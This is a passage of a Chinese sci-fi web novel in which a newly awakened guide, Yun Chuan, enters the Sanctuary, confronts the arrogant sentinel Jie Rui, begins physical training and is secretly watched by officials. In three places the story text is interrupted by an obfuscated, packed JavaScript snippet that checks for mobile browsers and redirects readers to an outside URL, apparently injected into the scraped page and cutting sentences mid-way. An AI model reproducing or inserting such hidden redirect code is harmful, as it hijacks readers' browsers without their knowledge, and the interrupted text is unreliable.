“照顾好自己。”她对他们道。 封莲和席长荣在领养她的时候已经五十多岁了，得亏帝国成熟的医疗水平，十多年过去，夫妻俩仍维持壮年时的容貌，甚至因为退休后生活悠闲，看起来还更年轻了。 然而，在经历过这次爆｜炸事件后，云川能明显感受到爸妈的苍老。 那种精神上透露出的沧桑，根本无法逃过向导的眼睛。 如果能够选择，云川不会在此刻离开他们。 这些日子，调查局还是没能抓到爆｜炸案元凶黑曼巴的同伙。 莲师和老席乘坐的跃迁航班中途有两处停靠站点，每个站点都会更换约30%的乘客，其中第二个站点的日平均客流量更是约为10万人次。 经过夜以继日的调查，沈慧最终锁定了一名在第二个站点离开的，身穿蓝色连帽卫衣的男子。 可惜，根据后台数据分析的结果，那是个假身份。 这让调查一时陷入僵局。 并且由于黑曼巴案件涉及觉醒者，兹事体大，帝国调查局做好了长线追踪的准备。 因此，即便陈妙妙再担心封莲和席长荣的安全，也只能按下急躁，沉稳以对。 当然，他们安排保护二人的人手并没撤走，封莲和席长荣的安全依旧有所保障。 云川知道，爸妈早就觉察到了那些人的存在，但没有任何人挑明。 他们依旧过着自己的生活，一切看起来都和从前一样平静。 云川最后一次回望爸妈，封莲和席长荣对她微笑，眼神包含了无尽的疼爱和不舍。 见他们笑着，她冲他们挥了挥手，余光不经意扫过斜后方看似空无一人的街道。 而后，她脚步坚定地走向圣所专用飞行器。 既然进入圣所已成定局，那倒不如趁机狠狠学术一番，提升向导技能，积累实战经验，和领导同行交流学习，拓宽思维方式，组建团队，承接项目，收益变现，趁早实现财务自由……！ 哎，想要维持高品质的生活，还是得设法攒人、搞钱。 搞很多钱。 钱！ 云川表面云淡风轻，内心的小人却在咆哮。 我——要——钱！！ 乔琳并不知道，云川博士的大脑早已被邪恶的拜金主义所腐蚀。 她坐在副驾驶上，时不时往后偷看一眼，只觉得云川博士真是不同凡响，淡定非常。 明明自己还比人家大一岁，可为什么人家身上就有种历尽千帆过后波澜不惊的气质呢？ 乔琳默默握拳，暗中给自己加油打气，誓要向云川看齐，尽快修炼成可靠的大人。 如果云川能听见乔琳的内心，她一定会说，这是十年打工生涯带给她的微死感。 死人比活人可靠嘛。 可惜，读心术目前并不在她的能力范畴内。 云川侧头望向舷窗外。 随着飞行高度的不断抬升，安静错落的居民区建筑逐渐化为浮云下方零星的团聚状小点，而这些小点又被四通八达的道路联系在一起，乍看之下有如被缠在蛛网上的虫子。 虫子最开始只有三两小只。 但当飞行器驶过高楼鳞次栉比的市中心时，这些分散各地的虫子便开始聚集，汇成一大片潮水般的黑色，奔涌向远处银装素裹的群山。 “从高往下看，我们瑟银星真美啊。”乔琳感叹。 云川默默打开光脑摄像头。 [群聊｜相亲相爱一家人(4)] 飘：[图片]分享美照。 莲籽儿：好漂亮的雪山呀~[表情/哇] 荣我缓缓：[表情/拇指]小宝拍照技术真好！ 飘：坐得屁股疼。你们吃晚饭了吗？ 莲籽儿：宝宝站起来走走。 莲籽儿：[视频] 莲籽儿：这是我们的晚餐。你爸下厨。 荣我缓缓：爸爸和妈咪正在吃。小宝饿了吗？ 云川很饿。 她最近总是很容易感觉饥饿。 她从专门放零食的行李里拆了三盒巧克力棒，自己留一盒，剩下的分给前排的乔琳和驾驶员。 驾驶员不吃甜食婉拒了，乔琳则是非常高兴接过，并说再过二十分钟就到目的地。 “您看见雪山上那座闪着光的红色建筑了吗？那就是圣所。” 云川嗯了一声，嘴里叼着巧克力棒，手速飞快地汇报自己即将抵达的消息。 正热火朝天聊着，云川突然感觉自己的神经被什么东西刺了一下。 她停下咀嚼的动作，蹙眉望向窗外。 乔琳一直在暗中留意她，见状很快解释：“我们刚刚穿过的是圣所特有的星能动力密蔽场。肉眼无法观测，可精神力较为敏锐的觉醒者还是能感受到的。刚开始接触可能会不适应，但不要担心，动力密蔽场内的环境非常适合觉醒者生活，无论空气还是声音都经过过滤……” 圆脸的女孩挺起胸脯，绽放出一个非常自豪的笑容。 “这里，绝对纯净。” ……绝对纯净的圣所没收了云川的光脑、零食和大部分个人物品。 她只被允许留下一套睡衣，一本平凡的纸质书，和一张夹在书里的相片。 云川对此早有预料。 她在乔琳的带领下去到房间。 一室一厅一卫。 隔音良好。 除了没有厨房外，是非常标准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可谁料她们刚经过一个拐角，云川便顿住脚步。 她感受到一股强烈的攻击性。 下一秒，一声尖叫刺破她的耳膜。 “啊！这是什么？虫子！啊啊啊踩死它！” 乔琳猛地醒过来：“发生了什么？圣所怎么会有虫子？！在哪？我来！咦？呃！解、解、解——” 云川：“……” 她看着前方尖叫躲避小蜘蛛的女孩，以及她身旁那只和她一样不断扑腾，好像脚被烫到的北极熊，刚想说什么—— 就听一个非常狂妄的男声道：“啧，怎么一只寒酸的虫子都能把你吓成这样啊，解厉？如此上不得台面，难怪你们这帮分家的只能在瑟银星打转，永远进不了十三区。” 云川沉默，推了推眼镜。 “蜘蛛不是虫子。” 云川抬头，目光扫过崩溃的女孩（和她跳脚的北极熊），以及正走来的红发男人，掷地有声道： “虽然都是节肢动物，但蜘蛛属于蛛形纲，不是昆虫纲！” 5. 不灭灯塔05 “哈？” 红发男人抬抬眉毛。 他穿一身花里胡哨的昂贵时装，头发在灯光下呈现出一种炽热的金红，耳朵、眉尾和唇畔都穿了孔，佩戴的金属饰品闪闪发亮，却遮盖不住他浓烈的五官。 这打扮张扬的家伙就是那攻击性的源头。 他是哨兵。 那个女孩也是。 但云川并没看见他的精神体。 是他没放出来，还是他的精神体是伪装类，像变色龙或拟态生物一样可以和环境融为一体？ 红头发径直掠过被他称为“解厉”的短发女孩，眼神瞥向云川。 “你是在教训我吗？” 他比云川高一点，非常傲慢地从下往上扫视云川，最后，眼珠慢悠悠地在她脸上打了个转：“长得倒还行，但你是想要通过这种方式引起我的注意力？手段未免太拙劣了。” “住口！解锐！” 短发女孩气急败坏冲过来，脑后两条小辫子上的彩带随她的动作上下翻飞，“别这么没素质！” 乔琳也连忙挡在云川身前，虽然以她的身高完全挡不住什么，但她还是努力仰头：“解四少，你不能这么说博士，博士是新来的向导——” “闭嘴吧。”解锐冷冷打断她，“一个残废而已。这里没你说话的份。” 他看似在对乔琳说话，眼睛却阴鸷地俯视云川。 乔琳脸一瞬间涨红，又猛然惨白下去。 云川的眼镜边缘闪过一抹流光。 她轻飘飘地扫了眼解锐：“没想到，你都这么大人了，但居然还分不清昆虫和蜘蛛的区别。” 云川伸手，掌心向下按住乔琳头顶，慢慢将她的脑袋扭到面朝墙壁的方向，语气平淡道，“你的生物老师一定很不合格，我为你的教育经历表示痛心。” 短发女孩的脸色一变，像是被勾起不好的回忆般痛苦地皱起脸。 “别、别提了……” 比起她，解锐的神色就糟糕得多。 “你算什么东西？知道我是谁吗——” “你是【那个】哨兵解锐。”云川撩起眼皮，同样将他从头到脚打量个遍，发出一声短促的冷笑。 “难怪……呵呵。” 其实云川完全不认识这男的。 可他对乔琳态度如此恶劣，那她就一定要回击。 阴阳怪气，她很擅长。 她的椭圆镜片薄且透亮，解锐可以非常清晰地看清她眼睛的颜色，以及自己的倒影。 【那个】什么那个？他就是解锐怎么了又有谁在背后嘴他了？呵呵呵，他才不在乎这帮废物的口舌！ “我让你笑了吗？”解锐沉下脸。 “谁让你如此可笑？” 云川收回目光，按着乔琳的头和他擦肩而过，“和你说话好累，还浪费时间。乔琳，我们快去吃饭吧。” 她身上莫名其妙的狂妄味实在太冲，竟让解锐愣了一下。 在经过解厉时，云川脚步顿了顿。 “我的精神体是蜘蛛，刚才惊扰到你，不好意思。” 解厉尴尬：“没、没事……” “抱歉。”云川对她微一颔首，和乔琳径直离开了。 解锐还想拦住她不让走，可解厉此刻却碍事地上前截住他。 “人家既然不想搭理你，你就别凑上去了，堂哥。” 这几秒钟耽搁的功夫，那个“博士”就连背影也看不见了。 溜得倒快。 解锐在心中冷笑。注意力重新转到解厉身上。 “既然你的事已经办完，那么也是时候离开这里了。”解厉眼神暗了暗，“这里不欢迎你。” 解锐眯起狭长的眼睛：“你的嘴还是像下水道的石头一样又臭又硬。” 他将戴满戒指的左手放在脖子上，转了转脑袋，骨头摩擦间发出嘎吱嘎吱的响声。 “要是你的实力也这么硬就好了。这样你妈也不用整天舔着脸跟在老头子屁股后面拍马屁，费劲手段想把你塞进十三区。在我看来，他们真是多虑，以你区区B级的能力，能不能从灯塔顺利毕业都尚未可知，何况是去十三区呢？” 他边说边放下手：“要我说，你妈与其去求老头子，不如来给我……” 砰！！！ 一声巨响过后，解厉被解锐单手摁在地上。 她不断挣扎，两眼愤怒地朝解锐瞪去。 她的北极熊也向这边扑过来，可惜全部攻击都被解锐的精神屏障阻挡在外。 解厉手脚并用，可解锐的右手纹丝不动，还拖长音调继续道：“——不如来给我下跪磕头。这样，没准我心情一好，到时候给你个看门小兵当当呢？” “我呸！”解厉努力啐他，可惜没瞄准，“你也只不过是候选人名单上的其中一个，还真以为就十拿九稳了？以你糟糕的人品，长了眼睛的都会把你刷下去！唔！” 在监控探头照不到的死角，解锐给了她一拳。 “只会打嘴炮可没用啊，解厉。你连我的一只手都打不过，有什么资格冲我叫嚣？听好了，我会成为帝国乃至整个星际都瞩目的最强哨兵。到那时，就连黎明议会的老不死们在提起「最强」的时候，脑海中浮现出的，有且只会有我的名字——解锐。” 他恶狠狠道：“而你，只会永远被我踩在脚下。就像现在这样！” 解厉捂住肚子，蜷缩身体。她死咬嘴唇，将痛呼全部吞下。 见她一脸惨样，解锐愉悦地直起身：“世界只会记住强者的名字，堂妹。” 说完，他将指节发红的左手插进裤兜，头也不回地离开了。 解厉静静躺在地上。特意剪出层次的短发异常凌乱。 她听着解锐逐渐远去的脚步声，知道对方此刻的脸上一定在得意地大笑。她咬着嘴唇，想等到解锐彻底离开圣所以后再哭。 可就在此时，北极熊无声地用脑袋拱了拱她。 “混蛋！人渣！”两行眼泪唰得从脸上淌下。 解厉边哭边骂。 以解锐的五感一定能听见她的动静，也许他走那么慢就是在等她彻底崩溃哭出来的这个时刻！ “大混蛋！姐早晚揍死他！干翻他！把他踩扁成一张这么大的人形地毯！” 北极熊点点头。 “呜呜……”趁着还没人过来，解厉摇摇晃晃扶墙站起，转身，边抹眼泪边整理发型。 她不想被人看见自己的脆弱。那会显得她很窝囊，尤其是解锐还在偷听。 解厉飞快跑走了。 想起刚才惊鸿一瞥在墙壁上乱爬的黑色蜘蛛，解厉悲从中来：“我是真的很怕虫子嘛……我也想坚强一点，可是我现在才发现我也怕蜘蛛……蜘蛛和虫子的区别是什么呢？我真的好笨……” “我想喝草莓椰奶味的营养剂……呜芋泥的也要，嗝……” 云川一眼就看见坐在角落里的解厉。 都不需要用精神力感知，光是肉眼就能发现她的情绪糟糕至极。 解厉前方的桌子上摆着一排颜色不同的营养剂，每一种都被盛放在透明的小玻璃杯中，像是酒吧里的迷你鸡尾酒套餐。 此时，解厉正沮丧地将这些液体往嘴里一杯接着一杯倒。 要不是早知道哨兵口味清淡，滴酒不沾，云川一定会怀疑这女孩在借酒浇愁。 她思考片刻后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068141|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问乔琳：“刚才那个叫解厉的女孩，是什么等级的哨兵？” “B级。” 坐在她对面的乔琳很快作答，用非常小的声音说，“小厉是非常努力的孩子，十二岁觉醒时评级只是D级，但一直用功训练，前不久突破B级了。” 她托着脸蛋，一脸神往：“八年连升两级呀。” “已经是B级，又二十岁了，为什么还待在圣所？” 云川的眼神落在解厉的精神体上，“针对17岁以上觉醒者的毕业考核，不是一年两次吗？” ……好大的熊啊。圆滚滚的。像个球。 好想挠一挠。 “唔。”乔琳支支吾吾，“小厉她这几年考运不太好……几次都没能进入理想灯塔。” 懂了，复读生。 云川：“另一个人呢？” “您说解四少？他啊，”乔琳不安地挪动屁股，身体前倾，用更加微弱的音量道，“是个远近闻名的纨绔子弟。” 她还是没把混蛋二字说出来。 “乔琳。”云川蠕动嘴唇，也用同等微弱的音量轻轻呼唤她的名字。 “嗯？” “你可以不用这么小声地说话。我的精神屏障能隔绝声音，不用担心被听见。就像这样……” 云川大声道，“解厉！” 乔琳被她喊得一哆嗦，几乎不敢转身，整个人凝固在原地。 万幸的是云川没有骗她。 周围的人都像聋了一样，半点眼神也没有分给她们！ 云川露出一丝浅笑：“看，听不见。” 才一礼拜居然就自行掌握精神屏障的具体用法了吗云川博士果然恐怖如斯！ 乔琳觉得自己平静没多久的脚趾又开始蠢蠢欲动。 但她是个足够专业的接待员，很快就假装刚才的一切都没发生。 乔琳语调正常但脸色绯红地开口：“解四少是小厉的堂哥，大名解锐，出身天鹰座布莱恩特星。他是一名A级哨兵，目前受训于阿尔凯灯塔。” 阿尔凯灯塔是帝国西部实力最雄厚的塔区。 云川：“他们姓解。是我想的那个解吗？” 乔琳点头：“他们的祖父是已故的解如麟上将。” 解如麟上将，联盟末期横空出世的传奇哨兵，天降猛男，帝国开国元勋之一。战功赫赫，威名远扬，除了死得太早之外，什么都好。 云川轻笑了声：“这种堂兄妹两个都觉醒的案例还真不多见。” “不止。”乔琳比了个手势，“上将一共七个孙辈，五个都觉醒了。还有一个是向导呢。” 云川眉头微挑：“解家有做过专项基因检测么？确定不是人为干预？” 哨兵向导基因并不具备遗传性，觉醒都是随机产生的。就算是盛行基因改造手术的联盟时代，觉醒者出现的概率也没超过0.03%。 “当然，这是必须的。帝国不允许人为干预觉醒。”乔琳表情严肃，“当时很多人怀疑解家背地里进行了非法实验，但没有找到任何证据。” “解上将的三个子女都是普通人。关于孙辈的觉醒情况，目前接受度最高的说法是辐射变异导致的隔代遗传。”乔琳比比划划，“有证据显示，当年解上将在外征战时，曾遭遇过不明辐射。” “唔。”云川不置可否。 她吃完最后一口甜点，擦了擦嘴。 “说起来，你知道解锐的精神体是什么吗？我刚才好像没看到，是他没放出来，还是……？” 乔琳尴尬地摸了摸耳垂：“他是灯塔的人，区区圣所的规定，有时候还真没法约束他……” “不过，据说是猛禽类呢。” 6. 不灭灯塔06 “晚安，云川博士，明天见哦。” “明天见。” 云川关上房门。 屋内瞬时亮起的感应灯被她手动关闭。 她在黑暗中直直站立着，半晌后才伸手从柜里摸出一双质地柔软的拖鞋。 这是乔琳早准备好的。 不只拖鞋，卧室衣柜里也被塞满了各式各样属于她的尺码的服装。 小到内衣裤，大到训练服，无一不有，无一不全。 每一件都无比舒适，极尽贴肤。 她换上印有圣所标志的拖鞋，缓步走到落地窗前。 夜色中，云川望向群山。 这些本该模糊得只剩下轮廓的重重山峦，被瑟银星冰冷的白雪，勾勒出具体的形态。 她的精神体蜘蛛悄无声息趴在玻璃窗上，在视觉错位的巧妙作用下，仿佛矗立于雪山之巅，成为洁白顶端上一粒极其醒目的黑点。 见此情形，云川平直的唇角几不可察地挑了挑。 “很好。”她自言自语道，“第一步，进入圣所，成功。” 她秀丽的侧脸被黑暗阴影切割得格外森然，以至于透出一股惊心动魂的冷酷。 “……你呢？” ——滂沱大雨浇头淋下。 灰暗的陈旧街道上，倏然飞驰过一辆6米长的灰白冷藏运输车。 车溅起的泥水猝不及防泼洒到马路上几个没来得及躲避的行人身上，惹来阵阵咒骂。 只有一人幸免于难。 这家伙懒洋洋抬起满是泥点的红色雨伞，对周围人风凉一笑。 “都让你们这群酒鬼不要闯红灯了。安全出行，懂？” 一个人嚷嚷道：“说得好像你不是因为绊了一跤才不闯红灯一样。你那是没来得及！” 酒气，尿骚气，水腥气以及下水道漫上来的臭气混杂在一起。 撑着红伞的人皱皱鼻子，眼里嫌恶一闪而过。 “懒得和你们这群脏鬼一般见识。”这人撇嘴，拉起帽子，耸耸肩离开了人群。 街道两侧五光十色的霓虹灯招牌照不全这人的脸孔，只能看清过长的刘海下有一对浓密飞扬的眉毛，和一双隐隐闪着炫丽蓝光的眼睛。 [用户12320]向[1/2v]发送了阅后即焚消息。 [用户12320]找到雷文了。 [用户12320]人还没死透，就是有点碎。 [用户12320]我会把他全部都带回来。 “但首先，我得解决掉艾伊尔这个移动实验室。” ……这声音低低的，几乎被淅沥的雨点砸碎。 有一些蠕动着的东西从后脊椎破皮而出，迅速覆盖住面容和身体。 红伞被安静遗弃在角落。 还在街上踉跄的酒鬼们无人觉察，一道几乎溶于雨夜的诡魅身影，自他们头顶悄然飞跃。 大约过了两三分钟后，有人听见很远的地方传来一阵尖锐的爆响声。 与此同时，整条街的灯光尽数熄灭。 有人警惕望着黑夜。 “什么声音？” 有人满不在乎地继续往前。 “谁知道呢？……这地方三天两头就出故障，不是这坏就是那坏。不过老子升职了，下个月初就能调到瑟银星总部！到时候，我就把一家四口连着狗全带过去，再也不回洛斯玛星了！哈哈哈哈！你们就在这继续养那破草吧！” 还有人不耐烦地啧声。 “一晚上翻来覆去就是这几句话，不就是升职外派吗，有什么了不起的！嘚瑟个屁！” “你就是嫉妒我！” “你说什么？有种再说一遍？” “你的体重怎么能只有区区52kg呢？！” 一声平地惊雷似的咆哮响彻瑟银圣所。 已经换上向导统一训练制服的云川，站在人数寥寥的队列中，无辜地眨了眨眼睛。 一旁的乔琳一本正经从体能老师手里接过云川的检测报告。 姓名：云川 性别：女 年龄：21 身高：181cm 体重：52kg 觉醒方向：向导 精神力评级：A级 精神体动物：流浪蜘蛛 …… 精神力六大方向得分：(各项标准满分为5) 感知：4 操控：3 防御：3 攻击：4 速度：3 力量：2 综合得分19/30,初步判定为攻击型向导。 以乔琳的眼光看，这份检测结果没有任何问题。 考虑到云川直到21岁高龄才觉醒向导，且在没经历任何培训的情况下拿到15以上的综合得分，乔琳认为云川非常值得一句称赞。 然而体能老师却用挑剔的目光来回扫视队伍末端的云川，表情嫌弃。 “——就算你是稀有的攻击型向导又怎样？太太太瘦了！你这两条腿往地上一杵就和牙签似的，风一吹，嘎嘣一下就折了。” 向导队伍里就传来几声低低的闷笑。 前排几个年纪尚小的孩子抿住嘴，竭力控制嘴角，但收效甚微。 云川：“……”她听见了！ 她虽然看起来瘦，但体魄很强健，可以在连续三十六个小时的科研后再做一个40页的PPT！她很强壮！ 体能老师绕着她转了一圈：“你起码要在一个月内增重5公斤，否则无法支撑接下去的训练。即使是G级向导，我们也会以培养士兵的标准去要求她。不要小看体能训练，它可是影响精神力上限的关键！尤其你还是一个攻击型。你的目标应该向哨兵们看齐，否则简直是在埋没自己的天赋。然而，这些都是后话——看见你右手边这些孩子们了吗？他们虽然年龄都比你小，但我保证，他们中的每一个都比你强壮！你知道自己现在最该做什么不？” 云川正想说话，嘴边就突然怼过来了一根小棒子。 “吃了它！”体能老师挥舞小棒子命令道。 云川看出来这是能量棒，也没犹豫，一口叼住，三两下咽下去。 体能老师：“你有什么感觉？” 云川：“有点干。” 体能老师：“干就对了！这就是你力量的源泉！现在，全体都有！原地趴下，做两百个俯卧撑！什么时候做完，什么时候吃早餐！” 说话的时候，体能老师的精神体鳄鱼就在一旁虎视眈眈看着他们，大有不配合就咬死他们的气势。 云川：“……” 体能老师身后，乔琳默默对她比了个加油的手势。 鉴于云川初来乍到，体能老师还是非常人性化地允许她采用跪姿进行俯卧撑训练，甚至还让乔琳给她拿了个软垫好垫在膝盖下。 云川调整了一下呼吸和姿势，开始训练。 虽然她速度有点慢，但姿势标准，看得出有一定基础，没什么值得指摘的地方，故而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068142|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体能老师在盯了几秒后就遗憾地挪开目光，开始去队伍前巡视。 其实，在黑曼巴爆炸案发生之前，云川一直保持着一周三次的健身频率。 倒不是因为她有多么热爱运动，而是之前实验室工作压力比较大，如果身体素质不行的话，很容易就会猝死。 但这种以保持健康为目的的锻炼，和以战斗为目的的特训自然是不同的。 前者适可而止，后者突破极限。 云川的手臂在做到第四十个俯卧撑的时候开始狂抖。 此时，离她最近的一名向导已经快做完了，而她还在二十个俯卧撑为一组，组与组之间还要休息一分钟。 云川敢肯定现在还不到三分钟。 ……青少年的体力真好啊。 云川咬着后槽牙想，余光中瞥见那个向导站起身开始拉伸肌肉，而他的接待员也适时过去举起水杯，喂他喝了点水。 他的精神体动物——一只胖嘟嘟的红头松果蜥，正安静趴在他的头顶。 似乎发现有人在看自己，向导转头，对上云川的目光，挠了挠脸。 “加油哦！”他很友善地笑了笑，右脸颊有个凹陷下去的小涡。 云川抖着手臂，用力点头。 等她做完两百个俯卧撑时，队伍中已经没剩多少人了。云川捏着手臂，累得一句话也不想说。 “第一天做成这样已经很不错了。”乔琳小声表扬道，“起码不是最后一名欸！” 体能老师听到了，回头瞪一眼：“你们和十三岁小孩比这个？要不要脸啊？” 云川和乔琳飞快溜走了。 由于体能老师下达了增重命令，乔琳紧急赶制出了云川这段时间的食谱。 她每天需要吃六餐，其中三餐正餐，三餐加餐。加餐不必吃太饱，但要增加碳水和脂肪的摄入。 云川全凭乔琳做主。 圣所餐厅的电视只有新闻、体育和军事三个大类的频道。 由于是为数不多具备娱乐性的设施，有不少人正在观看。 云川对此表现出的兴趣不大。 她的手臂肌肉还在因为过度训练而颤抖，叉子都举得颤巍巍，好几次都没能叉起烤肠，看得乔琳非常心急，恨不得亲手喂她。 “……首都星时间12月8日凌晨一点四十九分，天琴座洛斯玛星下城区街道发生一起车祸。一辆灰白色冷藏运输车在行驶过程中失控撞向电力箱，导致车辆爆炸，司机当场死亡，周边街区大范围停电。目前，当地部门正在调查这起车祸的原因，不排除操纵系统故障……” 云川的手一抖，叉子吧唧一声掉在盘子里。 乔琳扶额，仰头叹息。 “可能是车辆的智能驾驶系统又失灵了……比如大半夜突然系统升级，操作面板被锁定导致无法切换人工驾驶之类的。”有人窃窃私语，“早几个月不就出过类似的事吗？车子在停车场突然爆炸……” 乔琳忧愁地看着千疮百孔的烤肠，“博士，让我来喂您吃吧。” 云川：“这怎么能行呢？我可是一个成年人。” 乔琳重新拿了把叉子，一下叉起一块烤肠，喂到云川嘴边。 “胡说，您还是个宝宝呢。”乔琳慈爱地瞧着她，“啊，张嘴。” 云川：“……” 可恶，乔琳一定是听见封莲喊她小名了！ 她含恨接受投喂，鼓着腮帮奋力咀嚼……似乎浑然不知自己的一举一动，正被几十双冷漠的眼睛审视着。 7. 不灭灯塔07 “这就是那名新来的A级向导？” 昏暗的监控室内，临时搭建的座位正中央坐着一个笑眯眯的女人。 她戴着单片眼镜，身披一件卡其色风衣外套，淡蓝的衬衫袖子被卷到手肘处，这样轻松宛如度假的打扮，让她和两侧圣所高层们清一色的严肃正装格格不入。 背对着她坐在操作台上的几名工作人员各个挺直脊背，全神贯注。 而更多人，或坐或站在女人身后，屏气凝神盯着监控屏幕墙，目光紧锁在画面中两个并排坐在餐厅角落吃早餐的年轻人身上—— 但准确地说，监控的主角，只有两人中那名身银灰色向导制服，戴着椭圆无框眼镜的年轻人。 平心而论，那是个脸蛋无可挑剔的大美女，披散着一头乌黑浓密的丝滑长发。只是皮肤过于苍白，身材也太过消瘦，因此有种阴郁的病态感。她显然非常年轻，上挑的眉眼明晰而锋利。然而，鼻梁上的椭圆眼镜却给她增添了几分沉稳，气质也因此变得神秘内敛。 在看清这张脸的瞬间，被人群簇拥着的女人身体微微向前倾了点。 “是的，穆局。她的名字是云川，觉醒前是艾伊尔公司生物科技制药实验室的研究员。” 墙上其中一块屏幕适时出现被观察者的身份背景信息。 穆若莘只看了一眼，就将目光重新转移到正中央的大屏上。 “她是来自特蓝星的遗孤？” “是，云川在四岁时被人从特蓝星的一处废墟中发现并送往邻星孤儿院，在那里待了不到三个月就被一对夫妻收养了。”一旁的助手接话道，“然而，那对夫妻在收养了她半年后就将她遗弃在了一颗花园星球上。不久后，她现在的父母捡到了她，把她带回瑟银星抚养，直至今日。” “能在十七年前的特蓝星活下来？真是大难不死。”穆若莘弯了弯眼角。 “谁说不是呢？在那种高污染星球生活过还能没有畸形地健康长大觉醒……简直是无敌幸运了。” “如果可以的话，真想摸摸她的小手，蹭蹭好运啊……” “你确定那是小手？我怎么看她手指比我的还要长？” 对于这些窃窃私语，穆若莘好像什么都没听到，依旧眼带笑意地注视大屏幕。 然而很快，不知她看到什么，半眯的眼睛忽然睁开。 随即，她站起来。 穆若莘：“暂停监控。” 当这个身量并不高大的女人开口的时候，那些交头接耳的声音便都消失了。 监控室内，一时只有穆若莘柔和的嗓音在指挥一切：“往回调三秒。停。放大她的面部。” “再往回调。停。” “放大眼部图像。” “将时间放慢至0.5倍速，从这里开始向后播放，停。” 随着她话音落下，墙上所有显示屏都在同时间呈现出了同一个画面。 云川举着叉子，抬眼注视着他们。 这本该是再日常不过的一个动作。 可吊诡的是，在这被截停的刹那里，她没有出现任何多余的动作或表情。 屏幕上展现的，与其说是监控截图，倒不如说是一张精心拍摄的定格照片。 A级向导那张年轻美丽的脸正对镜头。在穆若莘的要求下，她的眼部图像被不断放大，直至所有的屏幕里充斥的有且仅有那一双眼。 无数双眼睛包围了他们。 有人下意识绷紧肌肉，强迫自己忽视密集单一图像带来的精神压迫，将注意力转移到其中一块屏幕上。 只见，A级向导的一只眼睛藏在反光的镜片后，瞳孔被光线析出阴郁奇幻的色彩；另一只眼珠则是一种清泠泠的琥珀色，无比清晰，突破镜片的遮挡，就这么直勾勾地盯了过来。 ……不是无意间凑巧看向了监控，而是在那短暂的一瞬间精准捕捉到有人在窥探自己，因此一眨不眨地凝视了回来。 “各位，看见了吗？”穆若莘轻声说，“人家早发现我们了。” 在他们自以为隐秘观察她的时候，云川也在注视他们。 真是可怕的洞察力…… 有人背后悄然渗出冷汗。 穆若莘却饶有兴致地挑了挑眉毛。 “真有意思。”她说。 “既然她早已成年，又是一名攻击型向导，”穆若莘思索片刻后，缓缓开口，“那就用灯塔的手段训练她吧。” 助手小心地问：“您是指？” 穆若莘端详着屏幕上的云川，沉吟道：“直接安排她上脑机。不要那种常规动力型号，给她连接一台漫游者，投放到模拟战场。” 有人开口：“这，难度会不会太高了？她才刚接受了不到半小时的训练，俯卧撑一次只能做二十个。虽然精神评级是A级，可这样差劲的身体素质会很容易脱机，作为生物机甲，漫游者即使虚拟穿戴也还是有一定压迫感的——” 如果云川在这里，就会发现这人正好是自己的体能老师。 “高吗？”穆若莘眨了眨眼睛，“我还以为，这会是个有趣的挑战呢。” 有技术人员小声道：“其实也不是不行，可以将模拟战场难度系数调整到她此时能适应的程度……” “真的吗？那拜托将各项参数调至满级就好。毕竟，我也想见识一下这位A级向导的，嗯，”穆若莘手撑着下巴，眼角弯弯，“无敌好运呀。” “……收到。” 究竟是无敌好运还是究极霉运啊！ 体能老师有点心累。 “噢，对了。”穆若莘偏头，有点漫不经心地问，“听说，不久前艾伊尔实验室那个畏罪自杀的药剂研究员，还有一个觉醒者弟弟在瑟银圣所？” “是，他是一名B级向导。” “相依为命的姐姐死了，他一定很伤心吧？” 穆若莘涂着白色磨砂甲油的食指，在戴着单片眼镜的右眼下方点了点。 “把他也投放进模拟战场里。可怜的孩子，就通过战斗宣泄悲伤吧。” “穆局，既然您都给了这两名向导一个如此珍贵的成长机会……” 一个柔和的声音从人群中传来，“何不再安排加入几个哨兵进行合作训练呢？培养良好的哨向团队意识也是我们圣所教育非常重要的一环嘛。” “这个提议好。” 穆若莘合掌一笑。 “正巧，四个月后就是新一轮的圣所毕业考核，考虑到今年政策有变，E级觉醒者也被纳入灯塔招生 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“不客气。”小向导说，“互相帮助和打气是应该的，无论是谁，第一天的训练都是最难熬的。” “——阿华！”身后有人气喘吁吁地喊，“有事找你！快过来。” “知道。”被称作“阿华”的小向导回头应了一声，又转过来说，“我的接待员有事找我，先撤了哦。拜拜~” “拜拜。”云川小幅度挥了挥手，看着少年跑过去。他的接待员嘀嘀咕咕地和他说了些什么。 阿华表情有点惊讶，又很快变得兴奋。 她的目光在那张犹带稚气的脸上停留一会，余光一扫，发现乔琳也一副很激动的模样，正向她快步走来。 “云川博士！”乔琳脸颊红扑扑地，冲过来拉着她道，“快点，快点，大事件！您要参加比赛啦！” “嗯？我？”云川被她推着往前走，“什么比赛？谁给我报名的？” “圣所内部排位赛！因为您是A级，所以必须参加！”乔琳语速飞快，“虽然我认为这比赛办得有点太仓促了但机会难得，试着参加一下嘛反正也不吃亏——总之您现在赶紧去机房！这次排位赛全部都在模拟战场举行，您还从来没有接受过这方面的训练，必须尽快接入脑机，抓紧时间适应！” 云川被乔琳引着，一路小跑。 